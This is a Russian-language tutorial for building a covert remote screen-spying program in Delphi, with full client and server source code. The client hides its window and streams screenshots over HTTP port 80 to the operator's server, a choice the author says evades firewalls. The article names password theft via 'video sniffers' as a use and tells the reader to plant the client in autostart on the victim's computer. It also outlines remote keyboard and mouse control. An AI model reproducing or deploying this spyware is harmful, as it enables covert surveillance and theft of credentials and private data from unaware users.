Наблюдаем за врагом - программа своими руками

В статье пойдет речь о технологии контороля над удаленным компьютером в локальной сети или глобальной,при наличии "белого"
IP адреса, контроля содержимого экрана в текущий момент времени, а также возможности управления удаленным рабочим столом пользователя.
Статья поможет разработчику справиться с задачей контроля над удаленными системами, контроля с благими целями, любые доработки используюте на свой собственный страх и риск.

Круг задач по контролю и управлению удаленной системой довольно разнообразен, это задачи направленные на благие цели, например, при отсутствии у пользователя возможности самостоятельно произвести операцию на компьютере, ему необходимо подключаться через сеть, это службы подобные "HelpDesk",контроль над удаленными серверами и т.д., также задачи
для контроля или просмотра действий пользователя в целях получения секретной информации, запись действий в видеофайл,получение паролей с помощью так называемых "видео-снифферов" и др.,
существующие программы подобного рода не всегда подходят т.к. для подстройки под конкретную задачу необходимо доступ к исходному коду,наличие гибкости, например скрытие программы от глаз пользователя, минимизация интерфейса, запуск в виде системного процесса и т.д.
Все эти требования заставляют хакера самостоятельно разрабатывать программы подобного рода
, разберемся с технологией и разработаем программу для контроля удаленной системы.

Для обхода Firewalls стоящих на компьютерах пользователей, а также чтобы наша программа не "засветилась" на Файерволле при передаче данных, передаваться данные будут по HTTP протоколу, по 80му порту,
т.к. в любой системе имеющей доступ к интернет или локальной сети открыт 80й порт.
При разработке будут использоваться Delphi 7.0 и компоненты Internet Component Suite от
francois.piette@overbyte.be, бесплатные компоненты качаем с http://www.overbyte.be.
Из набора наиболее подходят HTTPServer(HTTPSrv) и HTTPClient(HTTPCli).
Для передачи изображений по сети наиболее подходит формат для хранения изображений PNG компонент TPNGImage лежит на http://pngdelphi.sourceforge.net.

Клиентская часть содержит всего три процедуры, которых достаточно для работы, но, это минимум который при "боевых условиях" требует доработки.


procedure TForm1.FormCreate(Sender: TObject);
begin
Application.Showmainform:=false;
ShowWindow (Form1.handle, SW_HIDE);
end;

Процедура скрывает главную форму


procedure TForm1.Timer1Timer(Sender: TObject);
var
Png:TPNGObject;
bmp: TBitmap;
begin
try
Timer1.Enabled:=false;
HttpCli1.URL:='127.0.0.1';
HttpCli1.ProxyPort:='';
HttpCli1.Proxy:='';
HttpCli1.ProxyUsername:= '';
HttpCli1.ProxyPassword:= '';
bmp := TBitmap.Create;
Png:=TPNGObject.Create;
bmp.Width := Screen.Width;
bmp.Height := Screen.Height;
bmp.PixelFormat:=pf8bit; //8 бит (256 цветов) или bmp.PixelFormat:=pf16bit; 16ть битовый цвет
BitBlt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,GetDC(GetDesktopWindow), 0, 0, SRCCopy);
png.Assign(bmp)
png.CompressionLevel:=9;
HttpCli1.SendStream:=TMemoryStream.Create;
HttpCli1.RcvdStream := TMemoryStream.Create;
png.SaveToStream(HttpCli1.SendStream);
bmp.Free;
png.Free;
HttpCli1.SendStream.Seek(0, 0);
HttpCli1.PostAsync;
except
HttpCli1.SendStream.Free;
HttpCli1.SendStream := nil;
HttpCli1.RcvdStream.Free;
HttpCli1.RcvdStream := nil;
end;
end;

Эту процедуру имеет смысл описать более подробно.

В программу для предотвращения ошибок вставлены операторы

try
...
except
...
end;

Перед использованием программы на главную форму приложения необходимо положить компонент image, HTTPCli и незабыть всавить в Uses pngimage.

Timer1.Enabled:=false;

Останавливаем таймер для того чтобы на время передачи к серверу не поступало более одного изображения от текущего клиента.

HttpCli1.URL:='127.0.0.1';

В этом свойстве указываеться адрес сервера, '127.0.0.1' локальный адрес, при "боевых" условиях следует указать реальный IP компьютера или сетевое имя.

HttpCli1.ProxyPort:='';
HttpCli1.Proxy:='';
HttpCli1.ProxyUsername:= '';
HttpCli1.ProxyPassword:= '';

Дополнительные параметры используються при наличии прокси.

bmp := TBitmap.Create;
Png:=TPNGObject.Create;

Создаем экземляры обьектов для хранения изображения подготавливаемого для отсылки серверу, т.е. все то, что будет происходить на
экране пользователя,обязательно попадет в bmp и Png.

bmp.Width := Screen.Width;
bmp.Height := Screen.Height;

Устанавливаем размер изображения равный размеру текущего экрана.

bmp.PixelFormat:=pf8bit; //8 бит (256 цветов) или bmp.PixelFormat:=pf16bit; 16ть битовый цвет

Перед тем как получить копию экрана установим количество бит на пиксел изображения.

BitBlt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,GetDC(GetDesktopWindow), 0, 0, SRCCopy);

Операция по получению копии экрана в bmp.

png.Assign(bmp);

Так как формат BMP довольно громоздкий для передачи по сети, то необходимо конвертировать в PNG.

png.CompressionLevel:=9;

Хороший уровень компрессии.

HttpCli1.SendStream:=TMemoryStream.Create;
HttpCli1.RcvdStream := TMemoryStream.Create;
png.SaveToStream(HttpCli1.SendStream);

Создаем потоки в памяти и сохраняем туда изображение для передачи серверу.

bmp.Free;
png.Free;

Освобождаем память.

HttpCli1.SendStream.Seek(0, 0);
HttpCli1.PostAsync;

Отправляем частями изображение на сервер.

HttpCli1.SendStream.Free;
HttpCli1.SendStream := nil;
HttpCli1.RcvdStream.Free;
HttpCli1.RcvdStream := nil;

Если произошел сбой передачи или ошибка другого рода,освобождаем память.


procedure TForm1.HttpCli1RequestDone(Sender: TObject; RqType: THttpRequest;
ErrCode: Word);
var
Data:string;
begin
HttpCli1.SendStream.Free;
HttpCli1.SendStream := nil;
if ErrCode <> 0 then
begin
HttpCli1.RcvdStream.Free;
HttpCli1.RcvdStream := nil;
Timer1.Enabled:=false;
exit;
end;

if HttpCli1.StatusCode <> 200 then
begin
HttpCli1.RcvdStream.Free;
HttpCli1.RcvdStream := nil;
Timer1.Enabled:=false;
stop;
exit;
end;

HttpCli1.RcvdStream.Seek(0, 0);
SetLength(Data, HttpCli1.RcvdStream.Size);
HttpCli1.RcvdStream.Read(Data[1], Length(Data));
HttpCli1.RcvdStream.Free;
HttpCli1.RcvdStream := nil;
if copy(Data,1,2)='Ok' then Timer1.Enabled:=true;
end;

Процедура выполняеться только тогда,когда приходит ответ от сервера,что документ полностью получен.
И процедура освобождает память, и при удачно выполненной отправке изображения запускает таймер,для передачи
на сервер следующего изображения полученного в текущий момент времени с локального компьютера.


Серверная часть содержит также три процедуры, на экране серверная часть может выглядеть так

procedure TForm1.Button1Click(Sender: TObject);
begin
try
PNGStream:=Tmemorystream.Create;
HttpServer1.DocDir:=ExtractFilePath(Application.ExeName);
HttpServer1.DefaultDoc := 'Izobrajenie.png';
HttpServer1.TemplateDir:=ExtractFilePath(Application.ExeName);
HttpServer1.Port := '80';
HttpServer1.ClientClass := TMyHttpConnection;
HttpServer1.Start;
except
on E:Exception do begin
application.MessageBox('Инициализация сервера не возможна!','Внимание!',0);
if HttpServer1.WSocketServer.LastError = WSAEADDRINUSE then
application.MessageBox('Уже запущен!','Внимание!',0);
end;
end;
end;

Процедура выполняет инициализацию сервера,по умолчанию устанавливаеться главный документ, если разработчик решит хранить данные не
только в потоках но также и на дисках компьютера,такой способ замедлит передачу изображения, но все же он возможен.

HttpServer1.DefaultDoc := 'Izobrajenie.png';

HttpServer1.Port := '80';

Порт для передачи данных.

HttpServer1.Start;

Команда запуска сервера.


procedure TForm1.HttpServer1PostDocument(Sender, Client: TObject;
var Flags: THttpGetFlag);
var
ClientCnx : TMyHttpConnection;
s:string;
begin
ClientCnx := TMyHttpConnection(Client);
s:=ClientCnx.Path;
Flags := hgAcceptData;
ClientCnx.LineMode := FALSE;
ClientCnx.FDataLen:=0;
ClientCnx.FPostedDataSize:=2000;
GetMem(ClientCnx.FPostedDataBuffer, ClientCnx.FPostedDataSize);
MStream:=TMemoryStream.Create;
end;

Процедура инициализируется при поступлении на сервер любого документа и выполняет подготовку памяти для размещения получаемого изображения от клиента.


procedure TForm1.HttpServer1PostedData(Sender, Client: TObject;
Error: Word);
var
Len : Integer;
ClientCnx : TMyHttpConnection;
Flags:THttpGetFlag;
begin
ClientCnx := TMyHttpConnection(Client);
Len:=ClientCnx.Receive(ClientCnx.FPostedDataBuffer,ClientCnx.FPostedDataSize);
if Len <= 0 then Exit;
Inc(ClientCnx.FDataLen, Len);

try
MStream.Write(ClientCnx.FPostedDataBuffer^, Len);
except
MStream.Free;
ClientCnx.Destroy;
exit;
end;

if ClientCnx.FDataLen = ClientCnx.RequestContentLength then
begin
ClientCnx.PostedDataReceived;
ClientCnx.AnswerString( Flags,'','','','Ok');
Pngstream.Free;
PNGStream:=TmemoryStream.Create;
PNGStream.Position:=0;
MStream.SaveToStream(PNGStream);
MStream.Free;
Png:=TPNGObject.Create;
Pngstream.Position:=0;
png.LoadFromStream(PNGStream);
form1.Image1.Picture.Bitmap.Assign(png);
png.Free;
end;
end;

Данная процедура выполняеться сразу же по приходу данных на сервер второй после HttpServer1PostDocument
и собирает полученные данные из нескольких частей в одну.
После того как данные получены клиенту отправляется сигнал, что данные удачно были получены
ClientCnx.PostedDataReceived;
ClientCnx.AnswerString( Flags,'','','','Ok');

память освобождаеться

Pngstream.Free;

и PNG изображение повторно переводиться в BMP формат с выводом на экран с помощью компонента image.

form1.Image1.Picture.Bitmap.Assign(png);

Программа дает возможность наблюдать за удаленным компьютером, но пока не позволяет управлять им.
Для управления достаточно добавить в серверную часть еще один компонент HTTPCli, который будет передавать
события клавиатуры+мыши таким же способом как и передаются изображения в данном примере, а в клиентскую часть добавить компонент HTTPSrv принимающий
и программно выполняющий на компьютере клиента события,при более изощренном подходе возможно не добавлять новых компонент,а передавать данные о событиях в ClientCnx.AnswerString( Flags,'','','','Событие1 Мышь X-150 Y120 LeftButton Клавиатура кнопка С'), но этот метод работает довольно медленно, т.е. клавиатура генерирует нажатие и мышь передвигаеться только при поступлении нового изображения,
т.к. данные о событии передаються практически в одном потоке с изображением.Первый подход будет более правильным и быстрым, но в него необходимо добавить дополнительный таймер для передачи событий.

Координаты мыши можно установить так:

Mouse.CursorPos:=Point(x2 ,y2);

Нажатие правой кнопки:

mouse_event(MOUSEEVENTF_RIGHTDOWN,x2,y2,0,0);

Нажатие левой кнопки:

mouse_event(MOUSEEVENTF_RIGHTUP,x2,y2,0,0);

События клавиатуры можно генерировать так:

keybd_event(key, MapvirtualKey(key, 0), flag, 0);


Получить нажатия клавиатуры можно с помощью метода класса TForm:

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);

Получить координаты мыши можно например так:

procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
MOUSX:=x;
MOUSY:=y;
end;

После компиляции,в первую очередь необходимо запустить сервер в нашей системе,затем прописать клиентскую часть приложения в автозагрузку на отслеживаемом компьютере,но не забыть написать в коде правильный IP сервера (т.е. нашего компьютера), и все действия наблюдаемого пользователя будут отображаться на нашем экране.

Так как в статье приведен пример с минимальным текстом программы и не предусмотрены многие варианты использования данного метода,то желательно клиентскую часть запускать после старта серверной части.
так же следует учесть, что перед использованием серверной части необходимо убедиться в
отсутствии на компьютере работающих серверов, например IIS, т.к. работа одного из серверов будет невозможна.

Полная версия программы с исходным кодом (без дополнительных компонент) прилагается в архиве.

Желаю успехов в освоении и использовании.

Alimov Roman (darksquall@yandex.ru)
Hosted by uCoz